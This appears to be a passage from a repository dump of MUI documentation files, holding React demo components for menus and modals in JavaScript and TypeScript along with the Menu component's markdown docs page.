    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport PopupState, { bindTrigger, bindMenu } from 'material-ui-popup-state';\n\nexport default function MenuPopupState() {\n  return (\n    <PopupState variant=\"popover\" popupId=\"demo-popup-menu\">\n      {(popupState) => (\n        <React.Fragment>\n          <Button variant=\"contained\" {...bindTrigger(popupState)}>\n            Dashboard\n          </Button>\n          <Menu {...bindMenu(popupState)}>\n            <MenuItem onClick={popupState.close}>Profile</MenuItem>\n            <MenuItem onClick={popupState.close}>My account</MenuItem>\n            <MenuItem onClick={popupState.close}>Logout</MenuItem>\n          </Menu>\n        </React.Fragment>\n      )}\n    </PopupState>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/MenuPopupState.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport PopupState, { bindTrigger, bindMenu } from 'material-ui-popup-state';\n\nexport default function MenuPopupState() {\n  return (\n    <PopupState variant=\"popover\" popupId=\"demo-popup-menu\">\n      {(popupState) => (\n        <React.Fragment>\n          <Button variant=\"contained\" {...bindTrigger(popupState)}>\n            Dashboard\n          </Button>\n          <Menu {...bindMenu(popupState)}>\n            <MenuItem onClick={popupState.close}>Profile</MenuItem>\n            <MenuItem onClick={popupState.close}>My account</MenuItem>\n            <MenuItem onClick={popupState.close}>Logout</MenuItem>\n          </Menu>\n        </React.Fragment>\n      )}\n    </PopupState>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/MenuPopupState.tsx.preview",
    "content": "<PopupState variant=\"popover\" popupId=\"demo-popup-menu\">\n  {(popupState) => (\n    <React.Fragment>\n      <Button variant=\"contained\" {...bindTrigger(popupState)}>\n        Dashboard\n      </Button>\n      <Menu {...bindMenu(popupState)}>\n        <MenuItem onClick={popupState.close}>Profile</MenuItem>\n        <MenuItem onClick={popupState.close}>My account</MenuItem>\n        <MenuItem onClick={popupState.close}>Logout</MenuItem>\n      </Menu>\n    </React.Fragment>\n  )}\n</PopupState>"
  },
  {
    "path": "docs/data/material/components/menus/PositionedMenu.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\n\nexport default function PositionedMenu() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"demo-positioned-button\"\n        aria-controls={open ? 'demo-positioned-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleClick}\n      >\n        Dashboard\n      </Button>\n      <Menu\n        id=\"demo-positioned-menu\"\n        aria-labelledby=\"demo-positioned-button\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        anchorOrigin={{\n          vertical: 'top',\n          horizontal: 'left',\n        }}\n        transformOrigin={{\n          vertical: 'top',\n          horizontal: 'left',\n        }}\n      >\n        <MenuItem onClick={handleClose}>Profile</MenuItem>\n        <MenuItem onClick={handleClose}>My account</MenuItem>\n        <MenuItem onClick={handleClose}>Logout</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/PositionedMenu.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\n\nexport default function PositionedMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"demo-positioned-button\"\n        aria-controls={open ? 'demo-positioned-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleClick}\n      >\n        Dashboard\n      </Button>\n      <Menu\n        id=\"demo-positioned-menu\"\n        aria-labelledby=\"demo-positioned-button\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        anchorOrigin={{\n          vertical: 'top',\n          horizontal: 'left',\n        }}\n        transformOrigin={{\n          vertical: 'top',\n          horizontal: 'left',\n        }}\n      >\n        <MenuItem onClick={handleClose}>Profile</MenuItem>\n        <MenuItem onClick={handleClose}>My account</MenuItem>\n        <MenuItem onClick={handleClose}>Logout</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/SimpleListMenu.js",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport MenuItem from '@mui/material/MenuItem';\nimport Menu from '@mui/material/Menu';\n\nconst options = [\n  'Show some love to MUI',\n  'Show all notification content',\n  'Hide sensitive notification content',\n  'Hide all notification content',\n];\n\nexport default function SimpleListMenu() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const [selectedIndex, setSelectedIndex] = React.useState(1);\n  const open = Boolean(anchorEl);\n  const handleClickListItem = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleMenuItemClick = (event, index) => {\n    setSelectedIndex(index);\n    setAnchorEl(null);\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <List\n        component=\"nav\"\n        aria-label=\"Device settings\"\n        sx={{ bgcolor: 'background.paper' }}\n      >\n        <ListItemButton\n          id=\"lock-button\"\n          aria-haspopup=\"listbox\"\n          aria-controls=\"lock-menu\"\n          aria-label=\"when device is locked\"\n          aria-expanded={open ? 'true' : undefined}\n          onClick={handleClickListItem}\n        >\n          <ListItemText\n            primary=\"When device is locked\"\n            secondary={options[selectedIndex]}\n          />\n        </ListItemButton>\n      </List>\n      <Menu\n        id=\"lock-menu\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        slotProps={{\n          list: {\n            'aria-labelledby': 'lock-button',\n            role: 'listbox',\n          },\n        }}\n      >\n        {options.map((option, index) => (\n          <MenuItem\n            key={option}\n            disabled={index === 0}\n            selected={index === selectedIndex}\n            onClick={(event) => handleMenuItemClick(event, index)}\n          >\n            {option}\n          </MenuItem>\n        ))}\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/SimpleListMenu.tsx",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport MenuItem from '@mui/material/MenuItem';\nimport Menu from '@mui/material/Menu';\n\nconst options = [\n  'Show some love to MUI',\n  'Show all notification content',\n  'Hide sensitive notification content',\n  'Hide all notification content',\n];\n\nexport default function SimpleListMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const [selectedIndex, setSelectedIndex] = React.useState(1);\n  const open = Boolean(anchorEl);\n  const handleClickListItem = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleMenuItemClick = (\n    event: React.MouseEvent<HTMLElement>,\n    index: number,\n  ) => {\n    setSelectedIndex(index);\n    setAnchorEl(null);\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <List\n        component=\"nav\"\n        aria-label=\"Device settings\"\n        sx={{ bgcolor: 'background.paper' }}\n      >\n        <ListItemButton\n          id=\"lock-button\"\n          aria-haspopup=\"listbox\"\n          aria-controls=\"lock-menu\"\n          aria-label=\"when device is locked\"\n          aria-expanded={open ? 'true' : undefined}\n          onClick={handleClickListItem}\n        >\n          <ListItemText\n            primary=\"When device is locked\"\n            secondary={options[selectedIndex]}\n          />\n        </ListItemButton>\n      </List>\n      <Menu\n        id=\"lock-menu\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        slotProps={{\n          list: {\n            'aria-labelledby': 'lock-button',\n            role: 'listbox',\n          },\n        }}\n      >\n        {options.map((option, index) => (\n          <MenuItem\n            key={option}\n            disabled={index === 0}\n            selected={index === selectedIndex}\n            onClick={(event) => handleMenuItemClick(event, index)}\n          >\n            {option}\n          </MenuItem>\n        ))}\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/TypographyMenu.js",
    "content": "import MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\nimport Paper from '@mui/material/Paper';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport Typography from '@mui/material/Typography';\nimport DraftsIcon from '@mui/icons-material/Drafts';\nimport SendIcon from '@mui/icons-material/Send';\nimport PriorityHighIcon from '@mui/icons-material/PriorityHigh';\n\nexport default function TypographyMenu() {\n  return (\n    <Paper sx={{ width: 230 }}>\n      <MenuList>\n        <MenuItem>\n          <ListItemIcon>\n            <SendIcon fontSize=\"small\" />\n          </ListItemIcon>\n          <Typography variant=\"inherit\">A short message</Typography>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <PriorityHighIcon fontSize=\"small\" />\n          </ListItemIcon>\n          <Typography variant=\"inherit\">A very long text that overflows</Typography>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <DraftsIcon fontSize=\"small\" />\n          </ListItemIcon>\n          <Typography variant=\"inherit\" noWrap>\n            A very long text that overflows\n          </Typography>\n        </MenuItem>\n      </MenuList>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/TypographyMenu.tsx",
    "content": "import MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\nimport Paper from '@mui/material/Paper';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport Typography from '@mui/material/Typography';\nimport DraftsIcon from '@mui/icons-material/Drafts';\nimport SendIcon from '@mui/icons-material/Send';\nimport PriorityHighIcon from '@mui/icons-material/PriorityHigh';\n\nexport default function TypographyMenu() {\n  return (\n    <Paper sx={{ width: 230 }}>\n      <MenuList>\n        <MenuItem>\n          <ListItemIcon>\n            <SendIcon fontSize=\"small\" />\n          </ListItemIcon>\n          <Typography variant=\"inherit\">A short message</Typography>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <PriorityHighIcon fontSize=\"small\" />\n          </ListItemIcon>\n          <Typography variant=\"inherit\">A very long text that overflows</Typography>\n        </MenuItem>\n        <MenuItem>\n          <ListItemIcon>\n            <DraftsIcon fontSize=\"small\" />\n          </ListItemIcon>\n          <Typography variant=\"inherit\" noWrap>\n            A very long text that overflows\n          </Typography>\n        </MenuItem>\n      </MenuList>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/menus.md",
    "content": "---\nproductId: material-ui\ntitle: React Menu component\ncomponents: Menu, MenuItem, MenuList, ClickAwayListener, Popover, Popper\ngithubLabel: 'scope: menu'\nmaterialDesign: https://m2.material.io/components/menus\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/menu-button/\ngithubSource: packages/mui-material/src/Menu\n---\n\n# Menu\n\n<p class=\"description\">Menus display a list of choices on temporary surfaces.</p>\n\nA menu displays a list of choices on a temporary surface. It appears when the user interacts with a button, or other control.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nMenus are implemented using a collection of related components:\n\n- Menu: The container/surface of the menu.\n- Menu Item: An option for users to select from the menu.\n- Menu List (optional): Alternative composable container for Menu Items—see [Composition with Menu List](#composition-with-menu-list) for details.\n\n## Basic menu\n\nA basic menu opens over the anchor element by default (this option can be [changed](#positioned-menu) via props). When close to a screen edge, a basic menu vertically realigns to make sure that all menu items are completely visible.\n\nYou should configure the component so that selecting an option immediately confirms it and closes the menu, as shown in the demo below.\n\n{{\"demo\": \"BasicMenu.js\"}}\n\n## Icon menu\n\nIn desktop viewport, padding is increased to give more space to the menu.\n\n{{\"demo\": \"IconMenu.js\", \"bg\": true}}\n\n## Dense menu\n\nFor the menu that has long list and long text, you can use the `dense` prop to reduce the padding and text size.\n\n{{\"demo\": \"DenseMenu.js\", \"bg\": true}}\n\n## Selected menu\n\nIf used for item selection, when opened, simple menus places the initial focus on the selected menu item.\nThe currently selected menu item is set using the `selected` prop (from [ListItem](/material-ui/api/list-item/)).\nTo use a selected menu item without impacting the initial focus, set the `variant` prop to \"menu\".\n\n{{\"demo\": \"SimpleListMenu.js\"}}\n\n## Positioned menu\n\nBecause the `Menu` component uses the `Popover` component to position itself, you can use the same [positioning props](/material-ui/react-popover/#anchor-playground) to position it.\nFor instance, you can display the menu on top of the anchor:\n\n{{\"demo\": \"PositionedMenu.js\"}}\n\n## Composition with Menu List\n\nThe Menu component uses the Popover component internally.\nBut you might want to use a different positioning strategy, or prefer not to block scrolling, for example.\n\nThe Menu List component lets you compose your own menu for these kinds of use cases—its primary purpose is to handle focus.\nSee the demo below for an example of composition that uses Menu List and replaces the Menu's default Popover with a Popper component instead:\n\n{{\"demo\": \"MenuListComposition.js\", \"bg\": true}}\n\n## Account menu\n\n`Menu` content can be mixed with other components like `Avatar`.\n\n{{\"demo\": \"AccountMenu.js\"}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedMenus.js\"}}\n\nThe `MenuItem` is a wrapper around `ListItem` with some additional styles.\nYou can use the same list composition features with the `MenuItem` component:\n\n🎨 If you are looking for inspiration, you can check [MUI Treasury's customization examples](https://mui-treasury.com/?path=/docs/menu-introduction--docs).\n\n## Max height menu\n\nIf the height of a menu prevents all menu items from being displayed, the menu can scroll internally.\n\n{{\"demo\": \"LongMenu.js\"}}\n\n## Limitations\n\nThere is [a flexbox bug](https://issues.chromium.org/issues/40344463) that prevents `text-overflow: ellipsis` from working in a flexbox layout.\nYou can use the `Typography` component with `noWrap` to workaround this issue:\n\n{{\"demo\": \"TypographyMenu.js\", \"bg\": true}}\n\n## Change transition\n\nUse a different transition.\n\n{{\"demo\": \"FadeMenu.js\"}}\n\n## Context menu\n\nHere is an example of a context menu. (Right click to open.)\n\n{{\"demo\": \"ContextMenu.js\"}}\n\n## Grouped Menu\n\nDisplay categories with the `ListSubheader` component.\n\n{{\"demo\": \"GroupedMenu.js\"}}\n\n## Supplementary projects\n\nFor more advanced use cases you might be able to take advantage of:\n\n### material-ui-popup-state\n\n![stars](https://img.shields.io/github/stars/jcoreio/material-ui-popup-state?style=social&label=Star)\n![npm downloads](https://img.shields.io/npm/dm/material-ui-popup-state.svg)\n\nThe package [`material-ui-popup-state`](https://github.com/jcoreio/material-ui-popup-state) that takes care of menu state for you in most cases.\n\n{{\"demo\": \"MenuPopupState.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/modal/BasicModal.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport Modal from '@mui/material/Modal';\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  p: 4,\n};\n\nexport default function BasicModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"modal-modal-title\"\n        aria-describedby=\"modal-modal-description\"\n      >\n        <Box sx={style}>\n          <Typography id=\"modal-modal-title\" variant=\"h6\" component=\"h2\">\n            Text in a modal\n          </Typography>\n          <Typography id=\"modal-modal-description\" sx={{ mt: 2 }}>\n            Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n          </Typography>\n        </Box>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/BasicModal.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport Modal from '@mui/material/Modal';\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  p: 4,\n};\n\nexport default function BasicModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"modal-modal-title\"\n        aria-describedby=\"modal-modal-description\"\n      >\n        <Box sx={style}>\n          <Typography id=\"modal-modal-title\" variant=\"h6\" component=\"h2\">\n            Text in a modal\n          </Typography>\n          <Typography id=\"modal-modal-description\" sx={{ mt: 2 }}>\n            Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n          </Typography>\n        </Box>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/BasicModal.tsx.preview",
    "content": "<Button onClick={handleOpen}>Open modal</Button>\n<Modal\n  open={open}\n  onClose={handleClose}\n  aria-labelledby=\"modal-modal-title\"\n  aria-describedby=\"modal-modal-description\"\n>\n  <Box sx={style}>\n    <Typography id=\"modal-modal-title\" variant=\"h6\" component=\"h2\">\n      Text in a modal\n    </Typography>\n    <Typography id=\"modal-modal-description\" sx={{ mt: 2 }}>\n      Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n    </Typography>\n  </Box>\n</Modal>"
  },
  {
    "path": "docs/data/material/components/modal/KeepMountedModal.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Modal from '@mui/material/Modal';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  p: 4,\n};\n\nexport default function KeepMountedModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        keepMounted\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"keep-mounted-modal-title\"\n        aria-describedby=\"keep-mounted-modal-description\"\n      >\n        <Box sx={style}>\n          <Typography id=\"keep-mounted-modal-title\" variant=\"h6\" component=\"h2\">\n            Text in a modal\n          </Typography>\n          <Typography id=\"keep-mounted-modal-description\" sx={{ mt: 2 }}>\n            Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n          </Typography>\n        </Box>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/KeepMountedModal.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Modal from '@mui/material/Modal';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  p: 4,\n};\n\nexport default function KeepMountedModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        keepMounted\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"keep-mounted-modal-title\"\n        aria-describedby=\"keep-mounted-modal-description\"\n      >\n        <Box sx={style}>\n          <Typography id=\"keep-mounted-modal-title\" variant=\"h6\" component=\"h2\">\n            Text in a modal\n          </Typography>\n          <Typography id=\"keep-mounted-modal-description\" sx={{ mt: 2 }}>\n            Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n          </Typography>\n        </Box>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/NestedModal.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Modal from '@mui/material/Modal';\nimport Button from '@mui/material/Button';\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  pt: 2,\n  px: 4,\n  pb: 3,\n};\n\nfunction ChildModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => {\n    setOpen(true);\n  };\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button onClick={handleOpen}>Open Child Modal</Button>\n      <Modal\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"child-modal-title\"\n        aria-describedby=\"child-modal-description\"\n      >\n        <Box sx={{ ...style, width: 200 }}>\n          <h2 id=\"child-modal-title\">Text in a child modal</h2>\n          <p id=\"child-modal-description\">\n            Lorem ipsum, dolor sit amet consectetur adipisicing elit.\n          </p>\n          <Button onClick={handleClose}>Close Child Modal</Button>\n        </Box>\n      </Modal>\n    </React.Fragment>\n  );\n}\n\nexport default function NestedModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => {\n    setOpen(true);\n  };\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"parent-modal-title\"\n        aria-describedby=\"parent-modal-description\"\n      >\n        <Box sx={{ ...style, width: 400 }}>\n          <h2 id=\"parent-modal-title\">Text in a modal</h2>\n          <p id=\"parent-modal-description\">\n            Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n          </p>\n          <ChildModal />\n        </Box>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/NestedModal.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Modal from '@mui/material/Modal';\nimport Button from '@mui/material/Button';\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  pt: 2,\n  px: 4,\n  pb: 3,\n};\n\nfunction ChildModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => {\n    setOpen(true);\n  };\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button onClick={handleOpen}>Open Child Modal</Button>\n      <Modal\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"child-modal-title\"\n        aria-describedby=\"child-modal-description\"\n      >\n        <Box sx={{ ...style, width: 200 }}>\n          <h2 id=\"child-modal-title\">Text in a child modal</h2>\n          <p id=\"child-modal-description\">\n            Lorem ipsum, dolor sit amet consectetur adipisicing elit.\n          </p>\n          <Button onClick={handleClose}>Close Child Modal</Button>\n        </Box>\n      </Modal>\n    </React.Fragment>\n  );\n}\n\nexport default function NestedModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => {\n    setOpen(true);\n  };\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"parent-modal-title\"\n        aria-describedby=\"parent-modal-description\"\n      >\n        <Box sx={{ ...style, width: 400 }}>\n          <h2 id=\"parent-modal-title\">Text in a modal</h2>\n          <p id=\"parent-modal-description\">\n            Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n          </p>\n          <ChildModal />\n        </Box>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/NestedModal.tsx.preview",
    "content": "<Button onClick={handleOpen}>Open modal</Button>\n<Modal\n  open={open}\n  onClose={handleClose}\n  aria-labelledby=\"parent-modal-title\"\n  aria-describedby=\"parent-modal-description\"\n>\n  <Box sx={{ ...style, width: 400 }}>\n    <h2 id=\"parent-modal-title\">Text in a modal</h2>\n    <p id=\"parent-modal-description\">\n      Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n    </p>\n    <ChildModal />\n  </Box>\n</Modal>"
  },
  {
    "path": "docs/data/material/components/modal/ServerModal.js",
    "content": "import * as React from 'react';\nimport Modal from '@mui/material/Modal';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function ServerModal() {\n  const rootRef = React.useRef(null);\n\n  return (\n    <Box\n      sx={{\n        height: 300,\n        flexGrow: 1,\n        minWidth: 300,\n        transform: 'translateZ(0)',\n      }}\n      ref={rootRef}\n    >\n      <Modal\n        disablePortal\n        disableEnforceFocus\n        disableAutoFocus\n        open\n        aria-labelledby=\"server-modal-title\"\n        aria-describedby=\"server-modal-description\"\n        sx={{\n          display: 'flex',\n          p: 1,\n          alignItems: 'center',\n          justifyContent: 'center',\n        }}\n        container={() => rootRef.current}\n      >\n        <Box\n          sx={(theme) => ({\n            position: 'relative',\n            width: 400,\n            bgcolor: 'background.paper',\n            border: '2px solid #000',\n            boxShadow: theme.shadows[5],\n            p: 4,\n          })}\n        >\n          <Typography id=\"server-modal-title\" variant=\"h6\" component=\"h2\">\n            Server-side modal\n          </Typography>\n          <Typography id=\"server-modal-description\" sx={{ pt: 2 }}>\n            If you disable JavaScript, you will still see me.\n          </Typography>\n        </Box>\n      </Modal>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/ServerModal.tsx",
    "content": "import * as React from 'react';\nimport Modal from '@mui/material/Modal';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nexport default function ServerModal() {\n  const rootRef = React.useRef<HTMLDivElement>(null);\n\n  return (\n    <Box\n      sx={{\n        height: 300,\n        flexGrow: 1,\n        minWidth: 300,\n        transform: 'translateZ(0)',\n      }}\n      ref={rootRef}\n    >\n      <Modal\n        disablePortal\n        disableEnforceFocus\n        disableAutoFocus\n        open\n        aria-labelledby=\"server-modal-title\"\n        aria-describedby=\"server-modal-description\"\n        sx={{\n          display: 'flex',\n          p: 1,\n          alignItems: 'center',\n          justifyContent: 'center',\n        }}\n        container={() => rootRef.current!}\n      >\n        <Box\n          sx={(theme) => ({\n            position: 'relative',\n            width: 400,\n            bgcolor: 'background.paper',\n            border: '2px solid #000',\n            boxShadow: theme.shadows[5],\n            p: 4,\n          })}\n        >\n          <Typography id=\"server-modal-title\" variant=\"h6\" component=\"h2\">\n            Server-side modal\n          </Typography>\n          <Typography id=\"server-modal-description\" sx={{ pt: 2 }}>\n            If you disable JavaScript, you will still see me.\n          </Typography>\n        </Box>\n      </Modal>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/SpringModal.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Backdrop from '@mui/material/Backdrop';\nimport Box from '@mui/material/Box';\nimport Modal from '@mui/material/Modal';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport { useSpring, animated } from '@react-spring/web';\n\nconst Fade = React.forwardRef(function Fade(props, ref) {\n  const {\n    children,\n    in: open,\n    onClick,\n    onEnter,\n    onExited,\n    ownerState,\n    ...other\n  } = props;\n  const style = useSpring({\n    from: { opacity: 0 },\n    to: { opacity: open ? 1 : 0 },\n    onStart: () => {\n      if (open && onEnter) {\n        onEnter(null, true);\n      }\n    },\n    onRest: () => {\n      if (!open && onExited) {\n        onExited(null, true);\n      }\n    },\n  });\n\n  return (\n    <animated.div ref={ref} style={style} {...other}>\n      {React.cloneElement(children, { onClick })}\n    </animated.div>\n  );\n});\n\nFade.propTypes = {\n  children: PropTypes.element.isRequired,\n  in: PropTypes.bool,\n  onClick: PropTypes.any,\n  onEnter: PropTypes.func,\n  onExited: PropTypes.func,\n  ownerState: PropTypes.any,\n};\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  p: 4,\n};\n\nexport default function SpringModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        aria-labelledby=\"spring-modal-title\"\n        aria-describedby=\"spring-modal-description\"\n        open={open}\n        onClose={handleClose}\n        closeAfterTransition\n        slots={{ backdrop: Backdrop }}\n        slotProps={{\n          backdrop: { slots: { transition: Fade } },\n        }}\n      >\n        <Fade in={open}>\n          <Box sx={style}>\n            <Typography id=\"spring-modal-title\" variant=\"h6\" component=\"h2\">\n              Text in a modal\n            </Typography>\n            <Typography id=\"spring-modal-description\" sx={{ mt: 2 }}>\n              Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n            </Typography>\n          </Box>\n        </Fade>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/SpringModal.tsx",
